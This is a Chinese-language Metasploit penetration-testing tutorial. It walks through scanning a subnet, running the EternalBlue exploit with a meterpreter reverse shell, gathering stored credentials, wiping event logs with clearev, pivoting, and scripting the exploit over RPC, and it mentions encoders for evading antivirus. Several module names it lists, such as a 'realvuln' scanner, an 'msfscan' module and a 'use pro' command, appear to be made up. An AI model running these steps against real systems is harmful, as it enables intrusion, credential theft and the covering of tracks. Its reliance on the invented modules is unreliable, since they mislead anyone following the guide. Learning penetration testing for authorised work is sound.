网络安全渗透测试 metasploit教程
安装 metasploit
文档: metasploit 官网 | Metasploit GitHub| Metasploit 官方文档 | Metasploit Windows安装流程
下载最新版安装包: metasploitframework-latest.msi
永久添加脚本执行目录到当前用户的PATH: setx PATH "%PATH%;C:\metasploit-framework\bin"
打开Metasploit: msfconsole
Metasploit功能列表:
- Exploit Modules:用于攻击和利用目标系统的漏洞。
- Payloads:攻击成功后在目标系统上执行的代码,如反向 Shell。
- Auxiliary Modules:辅助功能,如扫描和嗅探。
- Encoders:用于编码 Payloads 以规避检测。
- Post Modules:在目标系统上进一步操作的模块,如提权、信息收集等。
- Nop Generators:用于生成 NOP(No Operation)指令,帮助躲避 IDS/IPS。
会话管理
# 列出会话详情
sessions -v
# 列出当前会话
sessions -l
# 交互式访问会话
sessions -i 1
# 将会话移到后台
background
# 杀死会话
sessions -k 1
标准的渗透测试流程示例
信息收集(Reconnaissance)
信息收集(Reconnaissance)和 扫描和枚举(Scanning and Enumeration) 获取目标的信息,如 IP 地址、域名等。扫描目标网络,发现开放端口和服务,枚举详细信息。
服务扫描
# 调用Nmap并将扫描结果导入Metasploit数据库中
db_nmap -sV -O 192.168.1.0/24
# 扫描网络中的所有活动主机
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.1.0/24
run
# 扫描特定主机上的开放端口,识别运行的服务
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.100
run
# 枚举 SMB 服务的版本,了解系统运行的具体服务信息
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run
# 识别 FTP 服务版本
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.100
run
# 识别 HTTP 服务版本
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run
查看已发现的主机和服务
hosts
services
漏洞评估(Vulnerability Assessment)或漏洞扫描
识别目标系统中的已知漏洞。
可使用自动化工具:Nessus
OpenVAS
全面扫描漏洞。
- 扫描漏洞
# 扫描目标系统的多种漏洞
use auxiliary/scanner/vulnerabilities/realvuln
set RHOSTS 192.168.1.0/24
run
# 扫描 Metasploit 框架支持的漏洞
use auxiliary/scanner/msf/msfscan
set RHOSTS 192.168.1.0/24
run
# Metasploit Pro 版提供更强大的自动化漏洞扫描功能,可以自动化许多步骤,并生成详细报告
use pro
set WORKSPACE default
set RHOSTS 192.168.1.0/24
run
- 导入其他工具扫描结果
# 导入 Nessus 扫描结果
load nessus
nessus_connect username:password@127.0.0.1:8834
nessus_report_list
nessus_import_report <report_id>
# 导入 OpenVAS 扫描结果
load openvas
openvas_connect username:password@127.0.0.1
openvas_report_list
openvas_import_report <report_id>
利用漏洞(Exploitation)
利用发现的漏洞获取对目标系统的访问权限。
# 利用目标 SMB 服务的已知漏洞,设置目标主机和本地主机的相关参数并执行攻击
search smb
use exploit/windows/smb/ms17_010_eternalblue
show targets # 查看所选模块支持的模板平台和配置
show options # 查看所选模块的可配置选项
set RHOSTS 192.168.1.100 # 设置目标主机地址
check # 验证漏洞
show payloads # 查看可用的有效载荷
set payload windows/x64/meterpreter/reverse_tcp # 选择并配置适当的有效载荷,如反向 shell
set LHOST 192.168.1.50
exploit # 确认目标存在漏洞后,执行攻击
后渗透操作(Post-Exploitation)
在获得访问权限后进行进一步操作,如提权、信息收集等。
# 在成功获得 Meterpreter 会话后
meterpreter > sysinfo # 查看系统信息
meterpreter > getuid # 获取当前用户 ID
meterpreter > shell # 进入目标系统的命令提示符
清理和报告(Cleanup and Reporting)
清理所有操作痕迹,并生成详细的渗透测试报告。
# 清除目标系统的事件日志,避免被检测到,生成渗透测试报告
meterpreter > clearev
Metasploit其他功能
社会工程学工具
Social Engineering Toolkit (SET):可以创建各种社会工程攻击,如钓鱼攻击、恶意 USB 制作等。
# 使用 SET 进行钓鱼攻击
use auxiliary/set/social_engineering/phishing
Web 应用测试
Auxiliary Modules:许多辅助模块用于扫描和测试 Web 应用程序漏洞。
凭证收集
- Meterpreter Scripts:在目标系统上运行脚本以收集密码和其他凭证。
- Post Exploitation Modules:用于提取存储的密码和会话令牌。
# 使用 Meterpreter 脚本提取凭证
run post/windows/gather/credentials/windows_autologin
网络隧道
- Pivoting:通过已攻陷的系统建立网络隧道,以访问内网中的其他系统。
- Portfwd:转发端口以绕过防火墙和访问受限资源。
# 进行 Pivoting
route add 10.0.0.0 255.255.255.0 1
自定义模块开发
编写自定义模块:使用 Ruby 编写自定义漏洞利用和辅助模块,满足特定需求。
Metasploit 本身主要是基于 Ruby 编写的,但它提供RPC接口,可以通过msgrpc
服务集成Python脚本。
pyexec
插件示例
load pyexec
pyexec 'print("Hello from Python")'
通过 RPC 接口与 Metasploit 交互
# 启动 Metasploit RPC 服务
vim rpc_service.rc
load msgrpc ServerHost=127.0.0.1 ServerPort=55552 User=msf Pass=abc123
msfconsole -r rpc_service.rc
vim demo.py
from metasploit.msfrpc import MsfRpcClient
client = MsfRpcClient('abc123', server='127.0.0.1', port=55552)
console = client.consoles.console()
console.write('use exploit/windows/smb/ms17_010_eternalblue\n')
console.write('set RHOSTS 192.168.1.100\n')
console.write('run\n')
任务自动化
- Resource Scripts:使用 .rc 文件自动化执行一系列 Metasploit 命令。
- Mettle Payloads:一种新的、更灵活的有效载荷框架,可以执行复杂的任务。
# 自动化任务
resource myscript.rc
数据导出和报告
报告生成:生成渗透测试报告,包含详细的测试步骤和结果。 数据导出:将扫描结果和会话数据导出为各种格式。
模块化设计
- Pluggable Payloads:用户可以自定义和插入自己的有效载荷。
- Custom Modules:允许用户创建和加载自定义漏洞利用和辅助模块。
混淆与逃避
- Encoders:对有效载荷进行编码以绕过防病毒软件和入侵检测系统(IDS)。
- Anti-Forensics:提供工具来混淆日志和删除痕迹。
实时协作
Team Collaboration:Metasploit Pro 支持团队协作,多个用户可以同时对同一目标进行测试。
模拟攻击
Attack Simulations:可以模拟真实的攻击场景,以测试和验证防御措施。
插件支持
Community Plugins:支持用户开发和共享插件,扩展 Metasploit 的功能。
高级报告
Detailed Reporting:生成详细的渗透测试报告,包括发现的漏洞、利用情况和修复建议。
数据库导入
Metasploit 支持从多种第三方漏洞扫描工具导入数据: Metasploit 第三方软件支持列表
支持的数据格式和工具:
- Foundstone Network Inventory XML
- Microsoft MBSA SecScan XML
- nCircle IP360 XMLv3 and ASPL
- NetSparker XML
- Nessus NBE
- Nessus XML v1 and v2
- Qualys Asset XML
- Qualys Scan XML
- Burp Sessions XML
- Burp Issues XML
- Acunetix XML
- AppScan XML
- Nmap XML
- Retina XML
- Amap Log
- Critical Watch VM XML
- IP Address List
- Libpcap Network Capture
- Spiceworks Inventory Summary CSV
- Core Impact XML
Nessus/OpenVAS 导入:可以将 Nessus 或 OpenVAS 的漏洞扫描结果导入 Metasploit 进行进一步分析。
# 导入 Nessus 扫描结果
load nessus
nessus_import_report <report_id>